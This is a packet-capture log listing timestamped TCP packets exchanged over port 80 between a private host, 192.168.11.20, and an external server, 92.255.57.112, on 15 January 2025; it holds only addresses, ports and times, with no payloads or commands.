Jan 15, 2025 10:18:39.701316118 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.701380014 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.701404095 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.701539993 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.701575041 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.701725960 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.701730013 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.701853991 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.701890945 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.701956034 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702079058 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702132940 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.702167988 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702279091 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702387094 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.702392101 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702511072 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702589989 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.702621937 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702744007 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702778101 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.702939034 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.702980042 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703138113 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703154087 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.703238010 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703291893 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.703351974 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703479052 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703561068 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703629971 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.703680038 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703733921 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.703795910 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.703913927 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704006910 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.704044104 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704170942 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704241037 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.704282999 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704390049 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704499006 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.704521894 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704629898 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704685926 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.704731941 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704847097 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.704930067 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.704962015 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705085993 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705112934 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.705214977 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705358982 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705368996 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.705482960 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705580950 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705645084 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.705665112 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705787897 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.705826998 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.705939054 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706020117 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706135988 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706187963 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.706252098 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706291914 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.706418037 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706486940 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706568003 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.706598997 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706718922 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706749916 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.706883907 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.706978083 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707034111 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.707072020 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707187891 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707257032 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.707305908 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707422972 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707540035 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707541943 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.707664967 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707741022 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.707772017 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707890034 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.707917929 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.708033085 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708125114 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708179951 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.708292961 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708355904 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708479881 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708482027 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.708626986 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708729982 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708748102 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.708861113 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.708898067 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.708949089 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709062099 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709135056 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.709172010 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709290981 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709297895 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.709409952 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709530115 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709599018 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.709652901 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709758997 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709834099 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.709887028 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.709992886 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710077047 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.710108995 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710233927 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710311890 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.710355997 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710509062 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710534096 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.710597038 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710761070 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710814953 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.710819006 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.710941076 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711014032 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.711046934 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711164951 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711297035 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.711311102 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711443901 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711544991 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711571932 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.711632967 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711750031 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711817980 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.711867094 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.711899042 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.712012053 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712100983 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712218046 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712250948 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.712363005 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712398052 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.712450981 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712565899 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712688923 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712701082 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.712811947 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.712891102 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.712924004 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713038921 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713130951 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.713161945 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713274956 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713390112 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713463068 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.713515043 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713623047 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713664055 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.713774920 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.713782072 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.713896990 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714020967 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714095116 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714104891 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.714225054 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714302063 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.714323044 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714468956 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714483023 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.714560986 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714674950 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714745045 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.714792967 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714920998 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.714936972 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.715080023 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715171099 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715225935 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.715274096 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715384007 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715420961 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.715496063 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715610981 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715655088 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.715775013 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715842009 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.715944052 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.715959072 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716085911 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716192007 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716212034 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.716317892 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716361046 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.716475010 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716542959 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716658115 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.716660023 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716778994 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.716826916 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.716938972 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717016935 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717087984 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.717139006 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717247009 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717331886 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.717363119 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717479944 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717505932 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.717616081 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717713118 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717833042 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717864990 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.717978001 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.717982054 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.718095064 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.718333006 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.821235895 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.821283102 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.821468115 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.821548939 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.821624041 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.821666002 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.821780920 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.821891069 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.821979046 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.822040081 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822089911 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822174072 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822307110 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.822307110 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.822351933 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822427034 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822470903 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.822546005 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822637081 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822642088 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.822808981 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822810888 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.822871923 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.822985888 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823103905 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823156118 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.823244095 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823323965 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.823380947 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823538065 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823617935 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823654890 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.823699951 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823807001 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.823827982 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.823945999 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824038029 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824156046 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824304104 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824388981 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824505091 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824623108 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824738979 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824856997 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.824857950 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.824856997 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.824981928 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825018883 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.825018883 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.825139046 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825216055 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825326920 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825335026 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.825449944 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825508118 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.825560093 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825675011 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.825678110 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825797081 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.825849056 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.825963974 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826029062 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826148033 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826184988 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.826301098 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826358080 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.826390982 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826494932 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826612949 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826695919 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.826728106 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826844931 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.826864958 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.826978922 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827105999 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827204943 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.827225924 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827356100 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827431917 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827544928 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.827544928 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.827548981 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827665091 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827784061 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.827884912 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.827903032 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828056097 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.828058958 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828217983 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828226089 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.828250885 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828382015 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828394890 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.828531981 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828599930 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828716040 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828735113 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.828847885 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.828953028 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829070091 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829076052 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.829181910 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829248905 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.829303026 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829415083 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.829421043 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829539061 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829587936 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.829699993 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829771996 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829890966 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.829927921 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.830043077 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.830097914 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.830117941 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.830241919 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.830265045 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.830374002 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.830475092 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.830590010 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.830605030 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.830717087 CET	80	49772	92.255.57.112	192.168.11.20
